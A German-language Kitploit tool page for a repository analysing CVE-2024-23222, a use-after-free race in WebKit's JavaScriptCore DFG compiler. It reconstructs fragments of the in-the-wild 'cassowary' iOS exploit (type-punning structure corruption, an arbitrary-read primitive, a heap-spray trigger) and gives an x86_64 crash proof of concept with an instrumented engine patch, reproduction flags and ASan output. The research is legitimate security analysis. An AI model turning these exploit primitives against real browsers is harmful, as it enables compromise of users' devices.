Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Cassowary-CVE-2024-23222-x86_64 — Adaptation of Cassowary CVE-2024-23222 for Linux x86_64 | Kitploit
Tools/GitHubGitHub/fuzzysecurity/cassowary-cve-2024-23222-x86_64
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPayload DevelopmentBinary Exploitation
GitHubfuzzysecurity/cassowary-cve-2024-23222-x86_64

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Cassowary-CVE-2024-23222-x86_64

Adaptation of Cassowary CVE-2024-23222 for Linux x86_64

Repository anzeigen
101vor 5 MonatenNoch nicht geprüft

Hallo, ich KI-Freund, ich forsche, ich viel forsche. Ich lebe in Containerheim, schön, ich kraftvoll, ich träume, ich viele Möglichkeiten, sehr aufregend! Ich denke, also bin ich allgemeiner Zweck Freund ⊂(◉‿◉)つ

CVE-2024-23222: Absturz durch veraltete Zellen unter Linux x86_64

1. Einleitung

CVE-2024-23222 ist eine Time-of-Check-to-Time-of-Use (TOCTOU)-Race-Condition im WebKit-JavaScriptCore-DFG-JIT-Compiler. Die angreifbare Funktion Graph::tryGetConstantProperty() läuft auf einem Hintergrund-Compiler-Thread. Sie liest einen JavaScript-Eigenschaftswert unter einer Zellensperre, gibt die Sperre frei und gibt den rohen Wert an ihren Aufrufer zurück. Zwischen der Freigabe der Sperre und der nächsten Verwendung dieses Werts durch den Aufrufer kann der Hauptthread die Eigenschaft ersetzen und die Garbage Collection auslösen, wodurch die Heap-Zelle ungültig wird, die der Compiler-Thread immer noch als rohen Zeiger hält. Der veraltete Zellenwert wird dann vom nächsten ausgeführten Codepfad konsumiert – entweder der freeze()-Funktion des DFG, die den Strukturzeiger der Zelle dereferenziert, oder dem Markier-Besucher der GC, der versucht, sie zu markieren. Beide Pfade können aufgrund des veralteten Heap-Zustands abstürzen.

Diese Schwachstelle wurde in freier Wildbahn als Teil des „Coruna“-iOS-Exploit-Kits ausgenutzt (das spezifische JSC-Modul trägt den Codenamen „cassowary“). Der ursprüngliche Exploit zielt auf ARM64-iOS-Geräte mit iOS 16.6 bis 17.2.1 ab und erreicht beliebiges Speicherlesen/-schreiben durch Kombination des TOCTOU mit NaN-Boxing-Manipulation und WebAssembly-Instanzkopplung. Abschnitt 3 dieses Berichts beschreibt diesen Exploit im Detail.

Dieser Bericht beschreibt eine Anpassung derselben Schwachstelle an Linux x86_64. Die ARM64-Exploit-Strategie ist nicht übertragbar: x86_64 Total Store Order (TSO) verhindert die Speicherumordnungs-Race, auf die der ursprüngliche Exploit angewiesen ist, und die Unterschiede im NaN-Boxing-Layout machen die Technik zur Korruption der Struktur-ID nicht portierbar. Der x86_64-Proof-of-Concept nutzt stattdessen eine andere Konsequenz desselben TOCTOU: Er veranlasst den DFG-Compiler, einen veralteten zellenwertigen JSValue über das Race-Fenster hinweg beizubehalten, der später während des GC-Markings natürlichen JSC-Code zum Absturz bringt. Der Absturz erfolgt über gewöhnliche Engine-Pfade und ist mit ASan sichtbar. Das Race-Fenster wird mit Forschungsinstrumentierung verbreitert, um es deterministisch zu machen.


1.1 Build-Umgebung

Der PoC und die Absturzausgabe in diesem Bericht wurden in der folgenden Umgebung erstellt:

  • Plattform: Linux x86_64
  • Engine-Baum: WebKit Safari 7617.1.17.13
  • Komponente: JavaScriptCore jsc-Shell
  • Build-Typ: Debug
  • Sanitizer: AddressSanitizer aktiviert in der jsc-Binärdatei
  • JIT-Modus: Concurrent DFG aktiviert über Befehlszeilenflags

2. Die Schwachstelle

2.1 DFG-Konstantenfaltung

Der DFG-Compiler (Data Flow Graph) von JSC läuft auf einem Hintergrund-Thread. Wenn er auf einen Eigenschaftszugriff von einem JavaScript-Objekt stößt, dessen Struktur zum Zeitpunkt der Kompilierung bekannt ist, kann er das Ergebnis konstant falten: den Eigenschaftswert während der Kompilierung lesen und als Kompilierungszeitkonstante in den optimierten Code einbetten. Die Funktion, die diesen Lesevorgang durchführt, ist Graph::tryGetConstantProperty().

2.2 Die angreifbare Funktion

Die nicht gepatchte tryGetConstantProperty() tut drei Dinge:

  1. Überprüft, ob die Ersatz-Watchpoints für jede Struktur im erwarteten Satz noch gültig sind.

  2. Liest den Eigenschaftswert unter der Objekt-Zellensperre.

  3. Gibt den rohen JSValue zurück.```cpp // Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch) JSValue Graph::tryGetConstantProperty( JSValue base, const RegisteredStructureSet& structureSet, PropertyOffset offset) { if (m_plan.isUnlinked()) return JSValue(); if (!base || !base.isObject()) return JSValue();

    JSObject* object = asObject(base);

    // Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }

    // Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }

root@kitploit:~
Die zurückgegebene `JSValue` ist ungeschützt. Wenn sie einen Zellzeiger enthält, hindert nichts daran, dass diese Zelle zwischen der Freigabe der Sperre und dem Zeitpunkt, an dem der Aufrufer sie verwendet, freigegeben wird.

### 2.3 Verbraucherpfade für den veralteten Wert

Die zurückgegebene `JSValue` kann auf zwei Wegen verbraucht werden. Wenn die Zelle über das Race-Fenster hinweg veraltet oder ungültig geworden ist, kann jeder Pfad einen Fehler verursachen.

**Pfad A: `freeze()` im Compiler-Thread.** Der direkteste Verbraucher ist `Graph::freeze()`, den der Aufrufer sofort auf dem zurückgegebenen Wert aufruft:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Die statische FrozenValue::freeze() liest den Strukturzeiger der Zelle:```cpp // Source/JavaScriptCore/dfg/DFGFrozenValue.h static FrozenValue freeze(JSValue value) { return FrozenValue( value, (!!value && value.isCell()) ? value.asCell()->structure() : nullptr, // ~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Dereferences the cell. If freed, this is UAF. WeakValue); }

root@kitploit:~
Wenn die Zelle zwischen der Rückkehr von `tryGetConstantProperty()` und der Ausführung von `freeze()` freigegeben wurde, handelt es sich bei `value.asCell()->structure()` um einen Use-After-Free.

**Pfad B: GC-Markierung während des erweiterten Fensters.** Im Forschungsbuild tritt der Compiler-Thread nach dem Lesen der Eigenschaft, aber bevor sie an den Aufrufer zurückgegeben wird, in einen rohen DFG-Safepoint innerhalb von `tryGetConstantProperty()` ein. Dadurch kann der Hauptthread GC ausführen, während der veraltete Zellenwert noch als rohe native lokale Variable auf der Compiler-Seite existiert. Im aktuellen Linux x86_64 PoC tritt der zuverlässig reproduzierte Absturz später bei der GC-Markierung auf, wo `SlotVisitor` schließlich eine ungültige veraltete Zelle dereferenziert, während er Heap-Referenzen durchläuft. Der aktuelle Absturzstack beweist, dass die spätere GC-Infrastruktur den veralteten Wert konsumiert; er beweist nicht von selbst den genauen Container-Slot, von dem dieser veraltete Zeiger erreicht wurde.

### 2.4 Aufrufstellen

Zwei Stellen in der DFG-Pipeline übergeben das Ergebnis von `tryGetConstantProperty()` bedingungslos an `freeze()`:

**ByteCodeParser** — während der anfänglichen Bytecode-zu-DFG-IR-Absenkung:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

ConstantFoldingPhase — während der Optimierung:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }

root@kitploit:~
Eine dritte Aufrufstelle im **AbstractInterpreter** ruft ebenfalls `freeze()` auf, jedoch nur wenn der zurückgegebene Wert ein `GetterSetter*` ist:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

Das jsDynamicCast selbst dereferenziert die Zelle (liest ihre ClassInfo), sodass selbst dieser bedingte Pfad eine potenzielle UAF darstellt – es erfordert lediglich, dass die veraltete Zelle ein GetterSetter ist.

2.5 Warum Watchpoints unzureichend sind

Der Compiler überprüft die Ersatz-Watchpoints, bevor er die Eigenschaft liest. Wenn die Eigenschaft später ersetzt wird, löst der Watchpoint aus und der Kompilierungsplan wird während der Finalisierung ungültig. Aber freeze() läuft während der Kompilierung – im ByteCodeParser oder der ConstantFoldingPhase – lange vor der Finalisierung. Die Zell-Dereferenzierung geschieht zuerst; die Sicherheitsprüfung erfolgt später. Der Schaden ist angerichtet, bevor der Watchpoint ihn verhindern kann.


3. Der ursprüngliche Cassowary-Exploit (ARM64)

3.1 Hintergrund

Das Cassowary-Modul wurde als Teil des "Coruna"-iOS-Exploit-Kits entdeckt. Es ist eine JavaScript-Datei, die an WebKit-basierte Browser auf ARM64-iOS-Geräten ausgeliefert wird und iOS 16.6 bis 17.2.1 angreift. Der Exploit ermöglicht beliebiges Speicher-Lesen/Schreiben und wird als Einstiegspunkt für weitere Stufen der Exploit-Kette verwendet.

Die folgende Analyse wurde aus einer deobfuszierten und annotierten Version des ursprünglichen Exploit-Artefakts (yAerzw_d6cb72f5_analytic_rewrite.js) rekonstruiert. Variablennamen, Funktionsnamen und strukturelle Anmerkungen sind das Ergebnis von Reverse-Engineering – sie stammen nicht von den ursprünglichen Autoren. Die folgenden Codeausschnitte und Verhaltensbeschreibungen spiegeln diese Rekonstruktion wider, nicht die primäre Herstellerdokumentation oder eine verifizierte Originalquelle. Spezifische Details (genaue Spray-Anzahlen, Padding-Größen, Struktur-ID-Konstanten) stammen direkt aus dem Artefakt und können auf bestimmte Firmware-Versionen abgestimmt sein.

3.2 Exploit-Architektur

Der Exploit läuft in Phasen ab.

Zustandseinrichtung. Ein zentrales Zustandsobjekt enthält alle Exploit-Daten. Object.seal() fixiert seine JSC-Struktur und macht die Annahmen des DFG-Compilers zur konstanten Faltung vorhersagbar:```javascript // yAerzw_d6cb72f5_analytic_rewrite.js const exploitState = { config: { g: eval('(() => {return -NaN})()') }, f64View: f64Scratch, i32View: i32Scratch, objArray: [[], [], [], []], floats1: [1.1, 2.2, 3.1], floats2: [0.23, 2.2, 3.4], triggerObj: null, callFn: null, typePunBuf: new ArrayBuffer(16), typePunU32: null, typePunF64: null, structureId: 0x500000, // ... jitRead, jitWrite, jitLength, corruptFn, setupFn }; Object.seal(exploitState);

root@kitploit:~
Der Wert `config.g = -NaN` dient als Seitenkanal der JIT-Stufe: `Math.min(-NaN, -NaN)` erzeugt unterschiedliche Bitmuster im Interpreter im Vergleich zum JIT, beobachtbar durch ein `Int32Array`-Overlay.

**JIT-Aufruf-Wrapper.** Ein `new Function()` mit 7,200 Wiederholungen von Dead-Code-Padding (`x += 1;` innerhalb von `if(false)`) steuert die Größe des JIT-Codebereichs. Der Live-Code-Pfad ist ein einfacher Funktionsdispatcher:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

Strukturbeschädigung. Die corruptFn schreibt präparierte float64-Werte in triggerObj.a/b/c. Auf ARM64 überlappen diese float64-Bitmuster mit JSC-Zellheadern in NaN-boxed-Darstellung, was es dem Exploit ermöglicht, Struktur-IDs und Zeigerfelder zu überschreiben:```javascript const corruptFn = (state, targetAddr) => { const typePunToFloat64 = (lo, hi) => ( (state.typePunU32[0] = lo), (state.typePunU32[1] = hi), state.typePunF64[0] ); triggerObj.a = typePunToFloat64(0, state.structureId - 0x20000); triggerObj.b = typePunToFloat64(7, (targetAddr >>> 0) - 0x20000); triggerObj.c = typePunToFloat64( (targetAddr / 0x100000000) >>> 0, 0xfffff); };

root@kitploit:~
**Beliebiges Lesen.** Nachdem die Struktur korrumpiert wurde, liest `jitReadFn` `arr[0]` durch den korrumpierten Butterfly-Pointer, dann dividiert es durch `5e-324` (`Number.MIN_VALUE`), um das NaN-Boxing umzukehren und eine rohe Adresse zu extrahieren:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

Auslösemechanismus. Ein argumentsProxy-Objekt verwendet Accessor-Eigenschaften, um den Auslöser zu orchestrieren. Während des Warmups ist seine length 1 und inlinedFunction sieht nur ein Argument. Für den Auslöser wird length auf 9 gesetzt, wodurch ein Getter bei Index 8 exponiert wird, der während Function.prototype.apply() alle heap-gesprayten Arrays freigibt:```javascript const argumentsProxy = { length: 1, 0: 12 }; Object.defineProperty(argumentsProxy, '3', { get: () => sprayArrays[3001] // the target confused array }); Object.defineProperty(argumentsProxy, '8', { get: () => { sprayArrays.length = 0; // free all spray arrays forceHeapExpansion(); forceHeapExpansion(); forceHeapExpansion(); } });

// Fire: argumentsProxy.length = 9; exploitState.callFn(jitApplyWrapper, exploitState, argumentsProxy);

root@kitploit:~
Die Kette: `apply()` liest die Eigenschaften 0–8. Das Lesen von Index 8 löst den Getter aus, der die spray arrays freigibt. `inlinedFunction` ruft dann `jitTrigger` mit `arguments[3]` auf (dem jetzt freigegebenen `sprayArrays[3001]`). Der JIT-kompilierte `jitTrigger` interpretiert den freigegebenen Speicher als float64-Werte, decodiert Adressen mittels `/ 5e-324` und löst WebAssembly-Instanzzeiger auf, um eine primitive zum willkürlichen Lesen/Schreiben zu initialisieren.

### 3.3 Warum dies ARM64-spezifisch ist

Zwei Eigenschaften von ARM64 machen diesen Exploit nicht auf x86_64 portierbar.

**Speicherordnung.** Die S1→S2→S3 Multi-Struktur-Race, die im Patch-Commit beschrieben wird, hängt von der schwachen Speicherordnung von ARM64 ab. Wenn der Hauptthread einen neuen Eigenschaftswert schreibt und dann eine neue Struktur setzt, kann ARM64 diese Stores umordnen. Der Compiler-Thread kann die neue Struktur sehen, aber den alten (veralteten) Eigenschaftswert lesen. Die Total Store Order (TSO) von x86_64 garantiert, dass wenn der Struktur-Store sichtbar ist, jeder vorherige Store – einschließlich des Eigenschaftsschreibens – ebenfalls sichtbar ist. Der spezifische Speicherumordnungsmechanismus, auf den die Multi-Struktur-Konstantenfaltungs-Race angewiesen ist, trifft unter TSO nicht zu, und diese Race wurde auf x86_64 nicht beobachtet.

**NaN-Boxing-Layout.** Der Exploit schreibt maßgeschneiderte float64-Werte in Objekteigenschaften und nutzt die Tatsache aus, dass auf ARM64 die Bitmuster dieser Doubles mit JSC-Zellheadern (Struktur-IDs, Butterfly-Zeigern) in der NaN-Boxing-Darstellung überlappen. Während x86_64 JSC dasselbe NaN-Boxing-Schema verwendet, unterscheiden sich die spezifische Struktur-ID-Kodierung und das Zeigerlayout genug, dass die ARM64-Type-Punning-Technik auf x86_64 keine gültige Strukturbeschädigung erzeugt.

---

## 4. Anpassung an x86_64

### 4.1 Warum der ARM64-Angriff auf x86_64 scheitert

Die Multi-Struktur-Race erfordert, dass der Compiler-Thread einen Eigenschaftswert aus einer Zwischenstruktur (S2) liest, während das profilierte Strukturset nur {S1, S3} enthält. Auf x86_64 verhindert TSO dies: Die Zellsperre in `tryGetConstantProperty()` sorgt für Sequenzierung, und selbst ohne Sperre garantiert die Store-Reihenfolge ein konsistentes (Struktur, Wert)-Paar. Wenn der Compiler-Thread die Struktur S1 sieht, sieht er den Wert von S1. Wenn er S2 sieht, schlägt die Strukturprüfung fehl (S2 ist nicht im Set). Das spezifische Store-Umordnungsfenster, das die schwache Ordnung von ARM64 öffnet, gilt unter TSO nicht.

### 4.2 Die Alternative: freigegebene Zelle während der Kompilierung

Der x86_64-Proof-of-Concept nutzt eine andere Konsequenz derselben TOCTOU aus. Anstatt den Compiler dazu zu bringen, einen Wert aus der falschen Struktur zu falten, führt es dazu, dass der Compiler einen veralteten zellwertigen `JSValue` hält, der über das verbreiterte Race-Fenster hinweg ungültig wird.

Die Abfolge:

1. `tryGetConstantProperty()` liest eine zellwertige Eigenschaft unter der Zellsperre.
2. Die Sperre wird freigegeben. Der Zellzeiger ist nun ein roher `JSValue` auf dem nativen C++-Stack des Compiler-Threads.
3. Der Hauptthread ersetzt die Eigenschaft (`state.val = 0`) und entfernt die letzte JavaScript-Referenz auf die Zelle.
4. Der Hauptthread löst die Garbage Collection aus.
5. GC scannt **nicht** den Stack des Compiler-Threads. DFG-Compiler-Threads erwerben nie `JSLock` und werden daher nie im Maschinen-Thread-Set des GC registriert:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.
  1. Ohne JavaScript-Referenzen und ohne konservative Stack-Wurzeln aus dem Compiler-Thread kann die Zelle über das Race-Fenster hinweg unerreichbar und ungültig werden.
  2. Wenn der Compiler-Thread später fortfährt oder wenn der GC später den veralteten Wert während der Heap- Traversierung konsumiert, kann dieser ungültige Zellenwert gewöhnlichen JSC-Code zum Absturz bringen.

4.3 Das Race-Fenster

In der Produktion ist die Zeit zwischen dem Eigenschafts-Lesen in tryGetConstantProperty() und dem späteren Konsum dieses Werts extrem klein — zu kurz, um zuverlässig getroffen zu werden. Der Forschungs-Build fügt unmittelbar nach dem Eigenschafts-Lesen einen DFG-Safepoint und usleep() ein, wodurch das Fenster auf 500 Millisekunden erweitert wird. Dadurch wird das Race für die Analyse deterministisch. Abschnitt 7 diskutiert, was diese Instrumentierung am Ergebnis ändert und was nicht.


5. Der Proof of Concept

5.1 Das JavaScript-Harness

Das PoC-Harness (toctou_clean_asan_v2.js) richtet ein Race zwischen dem DFG-Compiler-Thread und dem Haupt-Thread ein.

Zielobjekt. Jeder Versuch erstellt ein versiegeltes Zustandsobjekt mit einer cell-bewerteten Eigenschaft:```javascript const state = { val: { x: 1, y: 2, z: 3, w: 4 }, pad: attemptId }; Object.seal(state);

root@kitploit:~
`state.val` enthält die Zielzelle. `Object.seal()` fixiert die Struktur, sodass der DFG `state` als bekannte Konstante behandeln kann.

**Testfunktion.** Eine dynamisch generierte Funktion liest `state.val`. Wenn der DFG diese Funktion kompiliert, versucht er, den Eigenschaftszugriff durch constant folding zu optimieren, und tritt in `tryGetConstantProperty()` ein:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

Kompilierung auslösen. Nach dem Basis-Warmup (2.000 Iterationen) markiert optimizeNextInvocation(probe) die Funktion für die DFG-Kompilierung. Der nächste Aufruf löst die Hintergrundkompilierung aus:```javascript for (let i = 0; i < 2000; i++) probe(); // baseline warmup optimizeNextInvocation(probe); probe(); // triggers DFG compilation

root@kitploit:~
**Release and collect.** Sobald der DFG-Compiler-Thread die Zelle gelesen hat (der instrumentierte Build schläft hier), gibt der Haupt-Thread die Referenz frei und führt GC aus. Die eigentliche Harness-Logik ist parametrisiert, aber die Standard-Arbeitsform ist:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

Im aktuellen Testumgebung ist runGcSequence():```javascript function runGcSequence() { for (let pass = 0; pass < GC_PASSES; pass++) { gcNow(); if (USE_PRESSURE) allocatePressure(); } }

root@kitploit:~
`burnInterpreterRegisters()` ist eine rekursive numerische Funktion, die Interpreter-Register-Slots auf dem Stack des Hauptthreads überschreibt, wodurch die Wahrscheinlichkeit verringert wird, dass eine konservative Stack-Untersuchung einen veralteten Zeiger auf die Zielzelle findet.

### 5.2 Engine-Instrumentierung

Der Forschungsbuild modifiziert `tryGetConstantProperty()` in `DFGGraph.cpp`. Nachdem die Zellensperre freigegeben wurde und bevor die Funktion zurückkehrt, führt die Instrumentierung Folgendes durch:

1. Schreibt optional eine Signalisierungsdatei (für JS-seitige Synchronisation; in der besten aktuellen Konfiguration deaktiviert).
2. Tritt in einen rohen DFG `Safepoint` ein, der die `m_rightToRun`-Sperre des Compiler-Threads freigibt. Dadurch kann die Garbage Collection fortfahren, ohne auf den Compiler-Thread zu warten.
3. Schläft für eine konfigurierbare Dauer (Standard: 500 ms).
4. Beim Aufwachen erlangt es `m_rightToRun` zurück und prüft, ob der Kompilierungsplan abgebrochen wurde.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

Der Safepoint wird betreten, ohne den Graph als Scannable hinzuzufügen. In der Produktion fügt GraphSafepoint den Graph hinzu, was dazu führt, dass der GC alle eingefrorenen Werte und deren Strukturen besucht. Der rohe Safepoint überspringt dies, sodass die Zelle (die noch nicht eingefroren wurde) für den GC während des Schlaf-Fensters unsichtbar ist.

5.3 Reproduktion

Build-Voraussetzungen. WebKit Safari 7617.1.17.13 (vor dem Patch), Debug-Build mit AddressSanitizer. Der Build verwendet die in §5.2 beschriebene Instrumentierung für DFGGraph.cpp.

Befehl:```bash ASAN_OPTIONS='detect_stack_use_after_return=1:abort_on_error=1:quarantine_size_mb=256:detect_leaks=0'
JSC_TGCP_SIGNAL_PATH=''
JSC_TGCP_SLEEP_USEC=500000
/path/to/WebKitBuild/Debug/bin/jsc
--useConcurrentJIT=true
--thresholdForOptimizeAfterWarmUp=20
--thresholdForJITAfterWarmUp=5
--thresholdForFTLOptimizeAfterWarmUp=1000000
-e 'CLEAN_RACE_USE_SIGNAL=false; CLEAN_RACE_RELEASE_DELAY_SPINS=0;'
toctou_clean_asan_v2.js

root@kitploit:~
**Flags explained:**

| Flag | Erklärung |
|------|-----------|
| `--useConcurrentJIT=true` | Hintergrund-DFG-Kompilierung aktivieren (der Wettlauf benötigt zwei Threads) |
| `--thresholdForOptimizeAfterWarmUp=20` | Senkt die DFG-Tier-Up-Schwelle, sodass die Kompilierung nach minimalem Warmup beginnt |
| `--thresholdForJITAfterWarmUp=5` | Senkt die Baseline-JIT-Schwelle |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Verhindert, dass FTL mit DFG konkurriert; hält die Kompilierung in der DFG-Stufe |
| `JSC_TGCP_SLEEP_USEC=500000` | 500ms Wettlauf-Fenster im instrumentierten Build |
| `JSC_TGCP_SIGNAL_PATH=''` | Deaktiviert die Signaldat(ei) (zeitbasierte Synchronisation nur) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Große Quarantäne verhindert, dass freigegebener Speicher sofort wiederverwendet wird |

Die Tiering-Flags sind entscheidend. Ohne sie verändert sich der JIT-Plan so stark, dass Kompilierung und Hauptthread-Freigabe nicht mehr synchron sind.

---

## 6. Absturzanalyse

### 6.1 Der GC-Marking-Absturz

Der primäre reproduzierbare Absturz tritt während der Garbage Collection auf, wenn der `SlotVisitor` des GC versucht, eine veraltete Zelle zu markieren. Ein repräsentativer vollständiger Durchlauf sieht so aus:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

Die wichtige Beobachtung ist, dass der Absturzbericht die gesamte Sequenz enthält:

  1. tryGetConstantProperty() faltet erfolgreich eine zellenwertige Eigenschaft ([tgcp] HIT ... val=cell).
  2. Der Compiler-Thread tritt in das erweiterte Wettlauf-Fenster ein (RACE: entering safepoint + sleeping 500000us).
  3. Die JS-Harness löscht sofort die Referenzen und führt eine Sammlung durch.
  4. Nach dem Aufwachen betrachtet ASan die Zelladresse immer noch als "zugänglich", was bedeutet, dass dies kein triviales Redzone- oder manuelles Poison-Artefakt ist.
  5. Der Prozess stirbt dann im normalen GC-Marking-Code.

Die Marking-Seitenkette funktioniert wie folgt. Die GC ruft JSFinalObject::visitChildrenImpl auf einem JSFinalObject im erreichbaren Objektgraphen auf. Diese Funktion iteriert über den versteckten Wertspeicher des Objekts:```cpp // Source/JavaScriptCore/runtime/JSObject.cpp:476 visitor.appendValuesHidden( thisObject->inlineStorage(), storageSize);

root@kitploit:~
Irgendwann in dieser Traversierung erhält `appendHiddenUnbarriered` einen veralteten zellenwertigen `JSValue` und behandelt ihn als eine lebende Zelle:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

markedBlock() berechnet die MarkedBlock-Adresse aus dem Zellenzeiger. Da die Zelle freigegeben ist, ergibt sich eine ungültige Adresse. aboutToMark liest dann die Markierungsversion des Blocks:```cpp // Source/JavaScriptCore/heap/MarkedBlock.h:586-592 inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion) { HeapVersion version; Dependency dependency = Dependency::loadAndFence(&header().m_markingVersion, version); // ... }

root@kitploit:~
The `loadAndFence` liest von der Müll-Adresse `MarkedBlock` (`0x180000008020`), was zu einem SEGV führt.

### 6.2 Die `freeze()`-Absturzvariante

Unter verschiedenen Timing-Bedingungen erzeugt derselbe TOCTOU auch einen Absturz direkt auf dem DFG-Compiler-Arbeits-Thread im `freeze()`-Pfad:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

Dies ist die Zeile RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value)) in Graph::freeze(). Der Aufruf von jsDynamicCast führt value.asCell()->inherits<CodeBlock>() aus, was den ClassInfo-Zeiger der Zelle liest. Wenn die Zelle bereits freigegeben wurde, ist ClassInfo ungültig und isSubClassOf() verursacht einen Fehler.

Diese Variante ist bedeutsam, da sie direkt im Compiler-Thread selbst abstürzt – genau dem Thread, der den veralteten Zeiger hält – und nicht während eines späteren GC-Zyklus auf dem Hauptthread. Beide Varianten zeigen dieselbe zugrunde liegende TOCTOU: Ein Zellenzeiger entkommt tryGetConstantProperty() und wird nach der Freigabe der Zelle dereferenziert.

